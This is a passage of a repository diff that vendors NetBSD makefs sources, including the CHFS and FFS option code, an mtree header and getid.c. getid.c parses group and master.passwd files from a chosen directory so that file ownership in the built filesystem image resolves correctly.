/* For memory efficiency's sake - we should move this to a separate struct
and point to null if not needed */
/* For Rock Ridge */
struct _cd9660node *rr_real_parent, *rr_relocated;
int64_t susp_entry_size;
int64_t susp_dot_entry_size;
int64_t susp_dot_dot_entry_size;
/* Continuation area stuff */
int64_t susp_entry_ce_start;
int64_t susp_dot_ce_start;
int64_t susp_dot_dot_ce_start;
int64_t susp_entry_ce_length;
int64_t susp_dot_ce_length;
int64_t susp_dot_dot_ce_length;
/* Data to put at the end of the System Use field */
int64_t su_tail_size;
char *su_tail_data;
/*** PATH TABLE STUFF ***/
int level; /*depth*/
int ptnumber;
struct _cd9660node *ptnext, *ptprev, *ptlast;
/* SUSP entries */
TAILQ_HEAD(susp_linked_list, ISO_SUSP_ATTRIBUTES) head;
} cd9660node;
typedef struct _path_table_entry
{
u_char length[ISODCL (1, 1)];
u_char extended_attribute_length[ISODCL (2, 2)];
u_char first_sector[ISODCL (3, 6)];
u_char parent_number[ISODCL (7, 8)];
u_char name[ISO_FILENAME_MAXLENGTH_WITH_PADDING];
} path_table_entry;
typedef struct _volume_descriptor
{
u_char *volumeDescriptorData; /*ALWAYS 2048 bytes long*/
int64_t sector;
struct _volume_descriptor *next;
} volume_descriptor;
typedef struct _iso9660_disk {
int sectorSize;
struct iso_primary_descriptor primaryDescriptor;
struct iso_supplementary_descriptor supplementaryDescriptor;
volume_descriptor *firstVolumeDescriptor;
cd9660node *rootNode;
/* Important sector numbers here */
/* primaryDescriptor.type_l_path_table*/
int64_t primaryBigEndianTableSector;
/* primaryDescriptor.type_m_path_table*/
int64_t primaryLittleEndianTableSector;
/* primaryDescriptor.opt_type_l_path_table*/
int64_t secondaryBigEndianTableSector;
/* primaryDescriptor.opt_type_m_path_table*/
int64_t secondaryLittleEndianTableSector;
/* primaryDescriptor.path_table_size*/
int pathTableLength;
int64_t dataFirstSector;
int64_t totalSectors;
/* OPTIONS GO HERE */
int isoLevel;
int include_padding_areas;
int follow_sym_links;
int verbose_level;
int displayHelp;
int keep_bad_images;
/* SUSP options and variables */
int64_t susp_continuation_area_start_sector;
int64_t susp_continuation_area_size;
int64_t susp_continuation_area_current_free;
int rock_ridge_enabled;
/* Other Rock Ridge Variables */
char *rock_ridge_renamed_dir_name;
int rock_ridge_move_count;
cd9660node *rr_moved_dir;
int archimedes_enabled;
int chrp_boot;
/* Spec breaking options */
u_char allow_deep_trees;
u_char allow_start_dot;
u_char allow_max_name; /* Allow 37 char filenames*/
u_char allow_illegal_chars; /* ~, !, # */
u_char allow_lowercase;
u_char allow_multidot;
u_char omit_trailing_period;
/* BOOT INFORMATION HERE */
int has_generic_bootimage; /* Default to 0 */
char *generic_bootimage;
int is_bootable;/* Default to 0 */
int64_t boot_catalog_sector;
boot_volume_descriptor *boot_descriptor;
char * boot_image_directory;
TAILQ_HEAD(boot_image_list,cd9660_boot_image) boot_images;
int image_serialno;
LIST_HEAD(boot_catalog_entries,boot_catalog_entry) boot_entries;
} iso9660_disk;
/************ FUNCTIONS **************/
int cd9660_valid_a_chars(const char *);
int cd9660_valid_d_chars(const char *);
void cd9660_uppercase_characters(char *, int);
/* ISO Data Types */
void cd9660_721(uint16_t, unsigned char *);
void cd9660_731(uint32_t, unsigned char *);
void cd9660_722(uint16_t, unsigned char *);
void cd9660_732(uint32_t, unsigned char *);
void cd9660_bothendian_dword(uint32_t dw, unsigned char *);
void cd9660_bothendian_word(uint16_t dw, unsigned char *);
void cd9660_set_date(char *, time_t);
void cd9660_time_8426(unsigned char *, time_t);
void cd9660_time_915(unsigned char *, time_t);
/*** Boot Functions ***/
int cd9660_write_generic_bootimage(FILE *);
int cd9660_write_boot(iso9660_disk *, FILE *);
int cd9660_add_boot_disk(iso9660_disk *, const char *);
int cd9660_eltorito_add_boot_option(iso9660_disk *, const char *,
const char *);
int cd9660_setup_boot(iso9660_disk *, int);
int cd9660_setup_boot_volume_descriptor(iso9660_disk *,
volume_descriptor *);
/*** Write Functions ***/
int cd9660_write_image(iso9660_disk *, const char *image);
int cd9660_copy_file(iso9660_disk *, FILE *, off_t, const char *);
void cd9660_compute_full_filename(cd9660node *, char *);
int cd9660_compute_record_size(iso9660_disk *, cd9660node *);
/* Debugging functions */
void debug_print_tree(iso9660_disk *, cd9660node *,int);
void debug_print_path_tree(cd9660node *);
void debug_print_volume_descriptor_information(iso9660_disk *);
void debug_dump_to_xml_ptentry(path_table_entry *,int, int);
void debug_dump_to_xml_path_table(FILE *, off_t, int, int);
void debug_dump_to_xml(FILE *);
int debug_get_encoded_number(unsigned char *, int);
void debug_dump_integer(const char *, char *,int);
void debug_dump_string(const char *,unsigned char *,int);
void debug_dump_directory_record_9_1(unsigned char *);
void debug_dump_to_xml_volume_descriptor(unsigned char *,int);
void cd9660_pad_string_spaces(char *, int);
#endif

222
thirdparty/makefs/chfs.c vendored Normal file
View File

@@ -0,0 +1,222 @@
/*-
* Copyright (c) 2012 Department of Software Engineering,
* University of Szeged, Hungary
* Copyright (c) 2012 Tamas Toth <ttoth@inf.u-szeged.hu>
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by the Department of Software Engineering, University of Szeged, Hungary
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <sys/param.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <util.h>
#include "makefs.h"
#include "chfs_makefs.h"
#include "chfs/chfs_mkfs.h"
static void chfs_validate(const char *, fsnode *, fsinfo_t *);
static int chfs_create_image(const char *, fsinfo_t *);
static int chfs_populate_dir(const char *, fsnode *, fsnode *, fsinfo_t *);
void
chfs_prep_opts(fsinfo_t *fsopts)
{
chfs_opt_t *chfs_opts = ecalloc(1, sizeof(*chfs_opts));
const option_t chfs_options[] = {
{ 'p', "pagesize", &chfs_opts->pagesize, OPT_INT32,
1, INT_MAX, "page size" },
{ 'e', "eraseblock", &chfs_opts->eraseblock, OPT_INT32,
1, INT_MAX, "eraseblock size" },
{ 'm', "mediatype", &chfs_opts->mediatype, OPT_INT32,
0, 1, "type of the media, 0 (nor) or 1 (nand)" },
{ .name = NULL }
};
chfs_opts->pagesize = -1;
chfs_opts->eraseblock = -1;
chfs_opts->mediatype = -1;
fsopts->size = 0;
fsopts->fs_specific = chfs_opts;
fsopts->fs_options = copy_opts(chfs_options);
}
void
chfs_cleanup_opts(fsinfo_t *fsopts)
{
free(fsopts->fs_specific);
free(fsopts->fs_options);
}
int
chfs_parse_opts(const char *option, fsinfo_t *fsopts)
{
assert(option != NULL);
assert(fsopts != NULL);
return set_option(fsopts->fs_options, option, NULL, 0) != -1;
}
void
chfs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
{
struct timeval start;
assert(image != NULL);
assert(dir != NULL);
assert(root != NULL);
assert(fsopts != NULL);
TIMER_START(start);
chfs_validate(dir, root, fsopts);
TIMER_RESULTS(start, "chfs_validate");
printf("Creating `%s'\n", image);
TIMER_START(start);
if (chfs_create_image(image, fsopts) == -1) {
errx(EXIT_FAILURE, "Image file `%s' not created", image);
}
TIMER_RESULTS(start, "chfs_create_image");
fsopts->curinode = CHFS_ROOTINO;
root->inode->ino = CHFS_ROOTINO;
printf("Populating `%s'\n", image);
TIMER_START(start);
write_eb_header(fsopts);
if (!chfs_populate_dir(dir, root, root, fsopts)) {
errx(EXIT_FAILURE, "Image file `%s' not populated", image);
}
TIMER_RESULTS(start, "chfs_populate_dir");
padblock(fsopts);
if (close(fsopts->fd) == -1) {
err(EXIT_FAILURE, "Closing `%s'", image);
}
fsopts->fd = -1;
printf("Image `%s' complete\n", image);
}
static void
chfs_validate(const char* dir, fsnode *root, fsinfo_t *fsopts)
{
chfs_opt_t *chfs_opts;
assert(dir != NULL);
assert(root != NULL);
assert(fsopts != NULL);
chfs_opts = fsopts->fs_specific;
if (chfs_opts->pagesize == -1) {
chfs_opts->pagesize = DEFAULT_PAGESIZE;
}
if (chfs_opts->eraseblock == -1) {
chfs_opts->eraseblock = DEFAULT_ERASEBLOCK;
}
if (chfs_opts->mediatype == -1) {
chfs_opts->mediatype = DEFAULT_MEDIATYPE;
}
}
static int
chfs_create_image(const char *image, fsinfo_t *fsopts)
{
assert(image != NULL);
assert(fsopts != NULL);
if ((fsopts->fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
warn("Can't open `%s' for writing", image);
return -1;
}
return fsopts->fd;
}
static int
chfs_populate_dir(const char *dir, fsnode *root, fsnode *parent,
fsinfo_t *fsopts)
{
fsnode *cur;
char path[MAXPATHLEN + 1];
assert(dir != NULL);
assert(root != NULL);
assert(fsopts != NULL);
for (cur = root->next; cur != NULL; cur = cur->next) {
if ((cur->inode->flags & FI_ALLOCATED) == 0) {
cur->inode->flags |= FI_ALLOCATED;
if (cur != root) {
fsopts->curinode++;
cur->inode->ino = fsopts->curinode;
cur->parent = parent;
}
}
if (cur->inode->flags & FI_WRITTEN) {
continue; // hard link
}
cur->inode->flags |= FI_WRITTEN;
write_vnode(fsopts, cur);
write_dirent(fsopts, cur);
if (!S_ISDIR(cur->type & S_IFMT)) {
write_file(fsopts, cur, dir);
}
}
for (cur = root; cur != NULL; cur = cur->next) {
if (cur->child == NULL) {
continue;
}
if ((size_t)snprintf(path, sizeof(path), "%s/%s", dir,
cur->name) >= sizeof(path)) {
errx(EXIT_FAILURE, "Pathname too long");
}
if (!chfs_populate_dir(path, cur->child, cur, fsopts)) {
return 0;
}
}
return 1;
}

48
thirdparty/makefs/chfs_makefs.h vendored Normal file
View File

@@ -0,0 +1,48 @@
/*-
* Copyright (c) 2012 Department of Software Engineering,
* University of Szeged, Hungary
* Copyright (c) 2012 Tamas Toth <ttoth@inf.u-szeged.hu>
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by the Department of Software Engineering, University of Szeged, Hungary
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _CHFS_MAKEFS_H
#define _CHFS_MAKEFS_H
#define TYPE_NOR 0
#define TYPE_NAND 1
#define DEFAULT_PAGESIZE 2048
#define DEFAULT_ERASEBLOCK 131072
#define DEFAULT_MEDIATYPE TYPE_NAND
typedef struct {
int pagesize; /* page size */
int eraseblock; /* eraseblock size */
int mediatype; /* type of the media, 0 (nor) or 1 (nand) */
} chfs_opt_t;
#endif

93
thirdparty/makefs/extern.h vendored Normal file
View File

@@ -0,0 +1,93 @@
/* $NetBSD: extern.h,v 1.5 2011/07/27 15:31:00 seb Exp $ */
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)extern.h 8.1 (Berkeley) 6/6/93
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#include "mtree.h"
#if 0
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#else
#define HAVE_STRUCT_STAT_ST_FLAGS 1
#endif
#endif
// #include <nbcompat.h>
#if HAVE_ERR_H
#include <err.h>
#endif
#if HAVE_FTS_H
#include <fts.h>
#endif
#if HAVE_NETDB_H
/* For MAXHOSTNAMELEN on some platforms. */
#if HAVE_NETDB_H
#include <netdb.h>
#endif
#endif
#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN 256
#endif
void addtag(slist_t *, char *);
int check_excludes(const char *, const char *);
int compare(NODE *, FTSENT *);
int crc(int, uint32_t *, uint32_t *);
void cwalk(void);
void dump_nodes(const char *, NODE *, int);
void init_excludes(void);
int matchtags(NODE *);
void mtree_err(const char *, ...)
__attribute__((__format__(__printf__, 1, 2)));
const char *nodetype(u_int);
u_int parsekey(const char *, int *);
void parsetags(slist_t *, char *);
u_int parsetype(const char *);
void read_excludes_file(const char *);
const char *rlink(const char *);
int verify(void);
extern int dflag, eflag, iflag, lflag, mflag, rflag, sflag, tflag, uflag;
extern int mtree_Mflag, mtree_Wflag;
extern size_t mtree_lineno;
extern uint32_t crc_total;
extern int ftsoptions, keys;
extern char fullpath[];
extern slist_t includetags, excludetags;
#include "stat_flags.h"

1155
thirdparty/makefs/ffs.c vendored Normal file

File diff suppressed because it is too large Load Diff

68
thirdparty/makefs/ffs.h vendored Normal file
View File

@@ -0,0 +1,68 @@
/* $NetBSD: ffs.h,v 1.2 2011/10/09 21:33:43 christos Exp $ */
/*
* Copyright (c) 2001-2003 Wasabi Systems, Inc.
* All rights reserved.
*
* Written by Luke Mewburn for Wasabi Systems, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed for the NetBSD Project by
* Wasabi Systems, Inc.
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
* or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _FFS_H
#define _FFS_H
#include <ufs/ufs/dinode.h>
#include <ufs/ffs/fs.h>
typedef struct {
char label[MAXVOLLEN]; /* volume name/label */
int bsize; /* block size */
int fsize; /* fragment size */
int cpg; /* cylinders per group */
int cpgflg; /* cpg was specified by user */
int density; /* bytes per inode */
int ntracks; /* number of tracks */
int nsectors; /* number of sectors */
int rpm; /* rpm */
int minfree; /* free space threshold */
int optimization; /* optimization (space or time) */
int maxcontig; /* max contiguous blocks to allocate */
int rotdelay; /* rotational delay between blocks */
int maxbpg; /* maximum blocks per file in a cyl group */
int nrpos; /* # of distinguished rotational positions */
int avgfilesize; /* expected average file size */
int avgfpdir; /* expected # of files per directory */
int version; /* filesystem version (1 = FFS, 2 = UFS2) */
int maxbsize; /* maximum extent size */
int maxblkspercg; /* max # of blocks per cylinder group */
/* XXX: support `old' file systems ? */
} ffs_opt_t;
#endif /* _FFS_H */

457
thirdparty/makefs/getid.c vendored Normal file
View File

@@ -0,0 +1,457 @@
/* $NetBSD: getid.c,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */
/* from: NetBSD: getpwent.c,v 1.48 2000/10/03 03:22:26 enami Exp */
/* from: NetBSD: getgrent.c,v 1.41 2002/01/12 23:51:30 lukem Exp */
/*
* Copyright (c) 1987, 1988, 1989, 1993, 1994, 1995
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*-
* Copyright (c) 2002 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Luke Mewburn of Wasabi Systems.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the NetBSD
* Foundation, Inc. and its contributors.
* 4. Neither the name of The NetBSD Foundation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <nbcompat.h>
#if HAVE_SYS_PARAM_H
#include <sys/param.h>
#endif
#if HAVE_GRP_H
#include <grp.h>
#endif
#if HAVE_LIMITS_H
#include <limits.h>
#endif
#if HAVE_PWD_H
#include <pwd.h>
#endif
#if HAVE_STDLIB_H
#include <stdlib.h>
#endif
#if HAVE_STDIO_H
#include <stdio.h>
#endif
#if HAVE_STRING_H
#include <string.h>
#endif
#if HAVE_TIME_H
#include <time.h>
#endif
#if HAVE_UNISTD_H
#include <unistd.h>
#endif
#include "extern.h"
static struct group * gi_getgrnam(const char *);
static struct group * gi_getgrgid(gid_t);
static int gi_setgroupent(int);
static void gi_endgrent(void);
static int grstart(void);
static int grscan(int, gid_t, const char *);
static int grmatchline(int, gid_t, const char *);
static struct passwd * gi_getpwnam(const char *);
static struct passwd * gi_getpwuid(uid_t);
static int gi_setpassent(int);
static void gi_endpwent(void);
static int pwstart(void);
static int pwscan(int, uid_t, const char *);
static int pwmatchline(int, uid_t, const char *);
#define MAXGRP 200
#define MAXLINELENGTH 1024
static FILE *_gr_fp;
static struct group _gr_group;
static int _gr_stayopen;
static int _gr_filesdone;
static FILE *_pw_fp;
static struct passwd _pw_passwd; /* password structure */
static int _pw_stayopen; /* keep fd's open */
static int _pw_filesdone;
static char grfile[MAXPATHLEN];
static char pwfile[MAXPATHLEN];
static char *members[MAXGRP];
static char grline[MAXLINELENGTH];
static char pwline[MAXLINELENGTH];
int
setup_getid(const char *dir)
{
if (dir == NULL)
return (0);
/* close existing databases */
gi_endgrent();
gi_endpwent();
/* build paths to new databases */
snprintf(grfile, sizeof(grfile), "%s/group", dir);
snprintf(pwfile, sizeof(pwfile), "%s/master.passwd", dir);
/* try to open new databases */
if (!grstart() || !pwstart())
return (0);
/* switch pwcache(3) lookup functions */
if (pwcache_groupdb(gi_setgroupent, gi_endgrent,
gi_getgrnam, gi_getgrgid) == -1
|| pwcache_userdb(gi_setpassent, gi_endpwent,
gi_getpwnam, gi_getpwuid) == -1)
return (0);
return (1);
}
/*
* group lookup functions
*/
static struct group *
gi_getgrnam(const char *name)
{
int rval;
if (!grstart())
return NULL;
rval = grscan(1, 0, name);
if (!_gr_stayopen)
endgrent();
return (rval) ? &_gr_group : NULL;
}
static struct group *
gi_getgrgid(gid_t gid)
{
int rval;
if (!grstart())
return NULL;
rval = grscan(1, gid, NULL);
if (!_gr_stayopen)
endgrent();
return (rval) ? &_gr_group : NULL;
}
static int
gi_setgroupent(int stayopen)
{
if (!grstart())
return 0;
_gr_stayopen = stayopen;
return 1;
}
static void
gi_endgrent(void)
{
_gr_filesdone = 0;
if (_gr_fp) {
(void)fclose(_gr_fp);
_gr_fp = NULL;
}
}
static int
grstart(void)
{
_gr_filesdone = 0;
if (_gr_fp) {
rewind(_gr_fp);
return 1;
}
if (grfile[0] == '\0') /* sanity check */
return 0;
return (_gr_fp = fopen(grfile, "r")) ? 1 : 0;
}
static int
grscan(int search, gid_t gid, const char *name)
{
if (_gr_filesdone)
return 0;
for (;;) {
if (!fgets(grline, sizeof(grline), _gr_fp)) {
if (!search)
_gr_filesdone = 1;
return 0;
}
/* skip lines that are too big */
if (!strchr(grline, '\n')) {
int ch;
while ((ch = getc(_gr_fp)) != '\n' && ch != EOF)
;
continue;
}
if (grmatchline(search, gid, name))
return 1;
}
/* NOTREACHED */
}
static int
grmatchline(int search, gid_t gid, const char *name)
{
unsigned long id;
char **m;
char *cp, *bp, *ep;
/* name may be NULL if search is nonzero */
bp = grline;
memset(&_gr_group, 0, sizeof(_gr_group));
_gr_group.gr_name = strsep(&bp, ":\n");
if (search && name && strcmp(_gr_group.gr_name, name))
return 0;
_gr_group.gr_passwd = strsep(&bp, ":\n");
if (!(cp = strsep(&bp, ":\n")))
return 0;
id = strtoul(cp, &ep, 10);
if (id > GID_MAX || *ep != '\0')
return 0;
_gr_group.gr_gid = (gid_t)id;
if (search && name == NULL && _gr_group.gr_gid != gid)
return 0;
cp = NULL;
if (bp == NULL)
return 0;
for (_gr_group.gr_mem = m = members;; bp++) {
if (m == &members[MAXGRP - 1])
break;
if (*bp == ',') {
if (cp) {
*bp = '\0';
*m++ = cp;
cp = NULL;
}
} else if (*bp == '\0' || *bp == '\n' || *bp == ' ') {
if (cp) {
*bp = '\0';
*m++ = cp;
}
break;
} else if (cp == NULL)
cp = bp;
}
*m = NULL;
return 1;
}
/*
* user lookup functions
*/
static struct passwd *
gi_getpwnam(const char *name)
{
int rval;
if (!pwstart())
return NULL;
rval = pwscan(1, 0, name);
if (!_pw_stayopen)
endpwent();
return (rval) ? &_pw_passwd : NULL;
}
static struct passwd *
gi_getpwuid(uid_t uid)
{
int rval;
if (!pwstart())
return NULL;
rval = pwscan(1, uid, NULL);
if (!_pw_stayopen)
endpwent();
return (rval) ? &_pw_passwd : NULL;
}
static int
gi_setpassent(int stayopen)
{
if (!pwstart())
return 0;
_pw_stayopen = stayopen;
return 1;
}
static void
gi_endpwent(void)
{
_pw_filesdone = 0;
if (_pw_fp) {
(void)fclose(_pw_fp);
_pw_fp = NULL;
}
}
static int
pwstart(void)
{
_pw_filesdone = 0;
if (_pw_fp) {
rewind(_pw_fp);
return 1;
}
if (pwfile[0] == '\0') /* sanity check */
return 0;
return (_pw_fp = fopen(pwfile, "r")) ? 1 : 0;
}
static int
pwscan(int search, uid_t uid, const char *name)
{
if (_pw_filesdone)
return 0;
for (;;) {
if (!fgets(pwline, sizeof(pwline), _pw_fp)) {
if (!search)
_pw_filesdone = 1;
return 0;
}
/* skip lines that are too big */
if (!strchr(pwline, '\n')) {
int ch;
while ((ch = getc(_pw_fp)) != '\n' && ch != EOF)
;
continue;
}
if (pwmatchline(search, uid, name))
return 1;
}
/* NOTREACHED */
}
static int
pwmatchline(int search, uid_t uid, const char *name)
{
unsigned long id;
char *cp, *bp, *ep;
/* name may be NULL if search is nonzero */
bp = pwline;
memset(&_pw_passwd, 0, sizeof(_pw_passwd));
_pw_passwd.pw_name = strsep(&bp, ":\n"); /* name */
if (search && name && strcmp(_pw_passwd.pw_name, name))
return 0;
_pw_passwd.pw_passwd = strsep(&bp, ":\n"); /* passwd */
if (!(cp = strsep(&bp, ":\n"))) /* uid */
return 0;
id = strtoul(cp, &ep, 10);
if (id > UID_MAX || *ep != '\0')
return 0;
_pw_passwd.pw_uid = (uid_t)id;
if (search && name == NULL && _pw_passwd.pw_uid != uid)
return 0;
if (!(cp = strsep(&bp, ":\n"))) /* gid */
return 0;
id = strtoul(cp, &ep, 10);
if (id > GID_MAX || *ep != '\0')
return 0;
_pw_passwd.pw_gid = (gid_t)id;
if (!(ep = strsep(&bp, ":"))) /* class */
return 0;
if (!(ep = strsep(&bp, ":"))) /* change */
return 0;
if (!(ep = strsep(&bp, ":"))) /* expire */
return 0;
if (!(_pw_passwd.pw_gecos = strsep(&bp, ":\n"))) /* gecos */
return 0;
if (!(_pw_passwd.pw_dir = strsep(&bp, ":\n"))) /* directory */
return 0;
